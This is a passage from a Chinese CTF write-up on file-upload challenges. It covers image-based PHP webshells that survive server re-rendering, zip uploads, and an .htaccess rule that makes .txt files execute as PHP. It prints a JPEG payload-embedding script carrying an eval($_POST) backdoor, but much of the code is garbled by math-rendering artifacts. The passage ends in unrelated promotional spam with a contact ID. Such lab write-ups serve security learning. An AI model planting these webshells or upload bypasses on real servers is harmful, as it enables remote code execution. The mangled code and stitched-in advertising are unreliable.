至于这个脚本是怎么绕过二次渲染,我也不能完全理解脚本原理,也许是根据P数组创造图片马能符合二次渲染不被渲染到的规律?这里希望能得到大家的指点。
上传生成的图片,成功访问,抓包到上传的图片内容:
说明里面的后门代码生效了,且内容在图片内容里面,抓包或者010editor等里面才看得出来,浏览器看不出来。
开始常规操作:
得到flag。
但是当我传递0=eval,然后1=system()这种类型的时候,会对eval进行报错。
原因:PHP对于 a ( ) 的函数形式称为可变函数,如果 a()的函数形式称为可变函数,如果 a()的函数形式称为可变函数,如果a是函数才可被调用,不是就会报错。而eval是一个语言构造器,而不是函数,就会报错。且在php7.1以上,assert也变成了语言构造器,也会报错。
这里附上这两篇文章:
动态调用函数时的命令执行对于eval()和assert()的执行问题_cannot call assert() with string argument dynamica-CSDN博客和assert()的执行问题_cannot call assert() with string argument dynamica-CSDN博客")
https://www.cnblogs.com/0daybug/p/12610834.html
165.JPG二次渲染
其他的和上题一样,只是这道题要用到JPG的二次渲染。
要用这个脚本运行:
<?php $miniPayload = '<?=eval($_POST[1]);?>';if(!extension_loaded(‘gd’) || !function_exists(‘imagecreatefromjpeg’)) {
die(‘php-gd is not installed’);
}
if(!isset(
a
r
g
v
[
1
]
)
)
d
i
e
(
′
p
h
p
j
p
g
p
a
y
l
o
a
d
.
p
h
p
<
j
p
g
n
a
m
e
.
j
p
g
>
′
)
;
s
e
t
e
r
r
o
r
h
a
n
d
l
e
r
(
"
c
u
s
t
o
m
e
r
r
o
r
h
a
n
d
l
e
r
"
)
;
f
o
r
(
argv[1])) { die('php jpg_payload.php <jpg_name.jpg>'); } set_error_handler("custom_error_handler"); for(
argv[1]))die(′phpjpgpayload.php<jpgname.jpg>′);seterrorhandler("customerrorhandler");for(pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
d
i
s
=
n
e
w
D
a
t
a
I
n
p
u
t
S
t
r
e
a
m
(
dis = new DataInputStream(
dis=newDataInputStream(argv[1]);
o
u
t
S
t
r
e
a
m
=
f
i
l
e
g
e
t
c
o
n
t
e
n
t
s
(
outStream = file_get_contents(
outStream=filegetcontents(argv[1]);
$extraBytes = 0;
c
o
r
r
e
c
t
I
m
a
g
e
=
T
R
U
E
;
i
f
(
correctImage = TRUE; if(
correctImage=TRUE;if(dis->readShort() != 0xFFD8) {
die(‘Incorrect SOI marker’);
}
while((!KaTeX parse error: Expected 'EOF', got '&' at position 13: dis->eof()) &̲& (dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
d
i
s
−
>
s
k
i
p
(
dis->skip(
dis−>skip(size);
if($marker === 0xDA) {
$startPos = $dis->seek();
o
u
t
S
t
r
e
a
m
T
m
p
=
s
u
b
s
t
r
(
outStreamTmp = substr(
outStreamTmp=substr(outStream, 0, $startPos) .
KaTeX parse error: Undefined control sequence: \0 at position 27: … . str_repeat("\̲0̲",nullbytePayloadSize) .
substr($outStream, KaTeX parse error: Expected group after '_' at position 24: …); checkImage('_̲'.argv[1],
o
u
t
S
t
r
e
a
m
T
m
p
,
T
R
U
E
)
;
i
f
(
outStreamTmp, TRUE); if(
outStreamTmp,TRUE);if(extraBytes !== 0) {
while((!KaTeX parse error: Expected '}', got 'EOF' at end of input: …->eof())) { if(dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
o
u
t
S
t
r
e
a
m
=
s
u
b
s
t
r
(
outStream = substr(
outStream=substr(outStream, 0, $startPos) .
KaTeX parse error: Undefined control sequence: \0 at position 35: …r( str_repeat("\̲0̲",nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
n
u
l
l
b
y
t
e
P
a
y
l
o
a
d
S
i
z
e
+
nullbytePayloadSize+
nullbytePayloadSize+imageStreamSize-
e
x
t
r
a
B
y
t
e
s
)
.
s
u
b
s
t
r
(
extraBytes) . substr(
extraBytes).substr(outStream, KaTeX parse error: Expected 'EOF', got '}' at position 11: stopPos); }̲ elseif(correctImage) {
$outStream = KaTeX parse error: Expected 'EOF', got '}' at position 15: outStreamTmp; }̲ else { break; …argv[1], KaTeX parse error: Expected 'EOF', got '}' at position 50: …lse { break; } }̲ } } unlink('pa…argv[1]);
die(‘Something’s wrong’);
function checkImage($filename, $data, $unlink = FALSE) {
global
c
o
r
r
e
c
t
I
m
a
g
e
;
f
i
l
e
p
u
t
c
o
n
t
e
n
t
s
(
correctImage; file_put_contents(
correctImage;fileputcontents(filename, $data);
c
o
r
r
e
c
t
I
m
a
g
e
=
T
R
U
E
;
i
m
a
g
e
c
r
e
a
t
e
f
r
o
m
j
p
e
g
(
correctImage = TRUE; imagecreatefromjpeg(
correctImage=TRUE;imagecreatefromjpeg(filename);
if(
u
n
l
i
n
k
)
u
n
l
i
n
k
(
unlink) unlink(
unlink)unlink(filename);
return KaTeX parse error: Expected 'EOF', got '}' at position 15: correctImage; }̲ function custo…errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match(‘/(\d+) extraneous bytes before marker/’, $errstr, KaTeX parse error: Expected '}', got 'EOF' at end of input: m)) { if(isset(m[1])) {
e
x
t
r
a
B
y
t
e
s
=
(
i
n
t
)
extraBytes = (int)
extraBytes=(int)m[1];
}
}
}
class DataInputStream {
private $binData;
private $order;
private KaTeX parse error: Expected group after '_' at position 23: …ublic function _̲_construct(filename, $order = false, $fromString = false) {
$this->binData = ‘’;
$this->order =
o
r
d
e
r
;
i
f
(
!
order; if(!
order;if(!fromString) {
if(!file_exists(
f
i
l
e
n
a
m
e
)
∣
∣
!
i
s
f
i
l
e
(
filename) || !is_file(
filename)∣∣!isfile(filename))
die(‘File not exists [’.$filename.‘]’);
t
h
i
s
−
>
b
i
n
D
a
t
a
=
f
i
l
e
g
e
t
c
o
n
t
e
n
t
s
(
this->binData = file_get_contents(
this−>binData=filegetcontents(filename);
} else {
$this->binData = $filename;
}
t
h
i
s
−
>
s
i
z
e
=
s
t
r
l
e
n
(
this->size = strlen(
this−>size=strlen(this->binData);
}
public function seek() {
return (
t
h
i
s
−
>
s
i
z
e
−
s
t
r
l
e
n
(
this->size - strlen(
this−>size−strlen(this->binData));
}
public function skip($skip)
{
t
h
i
s
−
>
b
i
n
D
a
t
a
=
s
u
b
s
t
r
(
this->binData = substr(
this−>binData=substr(this->binData, KaTeX parse error: Expected 'EOF', got '}' at position 8: skip); }̲ public functio…this->eof()) {
die(‘End Of File’);
}
b
y
t
e
=
s
u
b
s
t
r
(
byte = substr(
byte=substr(this->binData, 0, 1);
t
h
i
s
−
>
b
i
n
D
a
t
a
=
s
u
b
s
t
r
(
this->binData = substr(
this−>binData=substr(this->binData, 1);
return ord(KaTeX parse error: Expected 'EOF', got '}' at position 8: byte); }̲ public funct…this->binData) < 2) {
die(‘End Of File’);
}
s
h
o
r
t
=
s
u
b
s
t
r
(
short = substr(
short=substr(this->binData, 0, 2);
t
h
i
s
−
>
b
i
n
D
a
t
a
=
s
u
b
s
t
r
(
this->binData = substr(
this−>binData=substr(this->binData, 2);
if($this->order) {
s
h
o
r
t
=
(
o
r
d
(
short = (ord(
short=(ord(short[1]) << 8) + ord($short[0]);
} else {
s
h
o
r
t
=
(
o
r
d
(
short = (ord(
short=(ord(short[0]) << 8) + ord($short[1]);
}
return KaTeX parse error: Expected 'EOF', got '}' at position 8: short; }̲ public funct…this->binData||(strlen($this->binData) === 0);
}
}
?>
使用方法:在同一文件夹下放入这个脚本和图片,打开cmd命令:php jpg.php 1.jpg
图片要上传后经服务器渲染后再来运行脚本,这样可以使渲染修改得最小。
我用了十多张图片,才找到一张能拿后门的
其他的要么是这种:
要么是这种:
然后最后常规操作得到flag。
166.zip
上传一个zip格式文件,写下后门代码
点击 下载文件 进行抓包
这里我的后门代码给的是post一定要把请求方法改成post(URL前面的),我以前一直没有注意这个细节,想来有很多莫名其妙的问题多半是因为这个。
然后常规操作。
167. htaccess配置文件
将AddType application/x-httpd-php .txt写入.htaccess配置文件。
意为将.txt文件解析为.php文件。
所以如果能上传这个文件,就不需要前面的文件包含漏洞来配合文件上传。
经过实验,这关没有什么过滤。
直接抓包把.htaccess和写有后门的1.txt日上去。
然后常规操作。
168.基础免杀
自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。
深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!
因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点,真正体系化!
由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新
如果你觉得这些内容对你有帮助,可以添加VX:vip204888 (备注网络安全获取)
一、网安学习成长路线图
网安所有方向的技术点做的整理,形成各个领域的知识点汇总,它的用处就在于,你可以按照上面的知识点去找对应的学习资源,保证自己学得较为全面。
二、网安视频合集
观看零基础学习视频,看视频学习是最快捷也是最有效果的方式,跟着视频中老师的思路,从基础到深入,还是很容易入门的。
三、精品网安学习书籍
当我学到一定基础,有自己的理解能力的时候,会去阅读一些前辈整理的书籍或者手写的笔记资料,这些笔记详细记载了他们对一些技术点的理解,这些理解是比较独到,可以学到不一样的思路。
四、网络安全源码合集+工具包
光学理论是没用的,要学会跟着一起敲,要动手实操,才能将自己的所学运用到实际当中去,这时候可以搞点实战案例来学习。
五、网络安全面试题
最后就是大家最关心的网络安全面试题板块
一个人可以走的很快,但一群人才能走的更远。如果你从事以下工作或对以下感兴趣,欢迎戳这里加入程序员的圈子,让我们一起学习成长!
AI人工智能、Android移动开发、AIGC大模型、C C#、Go语言、Java、Linux运维、云计算、MySQL、PMP、网络安全、Python爬虫、UE5、UI设计、Unity3D、Web前端开发、产品经理、车载开发、大数据、鸿蒙、计算机网络、嵌入式物联网、软件测试、数据结构与算法、音视频开发、Flutter、IOS开发、PHP开发、.NET、安卓逆向、云计算
956e.png)
一个人可以走的很快,但一群人才能走的更远。如果你从事以下工作或对以下感兴趣,欢迎戳这里加入程序员的圈子,让我们一起学习成长!
AI人工智能、Android移动开发、AIGC大模型、C C#、Go语言、Java、Linux运维、云计算、MySQL、PMP、网络安全、Python爬虫、UE5、UI设计、Unity3D、Web前端开发、产品经理、车载开发、大数据、鸿蒙、计算机网络、嵌入式物联网、软件测试、数据结构与算法、音视频开发、Flutter、IOS开发、PHP开发、.NET、安卓逆向、云计算